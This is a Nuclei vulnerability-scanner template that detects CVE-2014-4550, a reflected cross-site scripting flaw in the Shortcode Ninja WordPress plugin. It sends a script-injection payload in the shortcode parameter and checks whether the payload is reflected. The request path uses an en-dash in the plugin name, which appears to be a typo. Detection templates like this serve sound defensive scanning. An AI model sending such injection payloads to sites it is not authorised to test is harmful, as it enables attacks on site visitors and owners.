nuclei-templates/cves/2014/CVE-2014-4550.yaml

id: CVE-2014-4550

info:
  name: Shortcode Ninja <= 1.4 - Unauthenticated Reflected XSS
  author: daffainfo
  severity: medium
  reference: |
    - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4550
  tags: cve,cve2014,wordpress,wp-plugin,xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2014-4550
    cwe-id: CWE-79
  description: "Cross-site scripting (XSS) vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter."

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/shortcode–ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "'><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200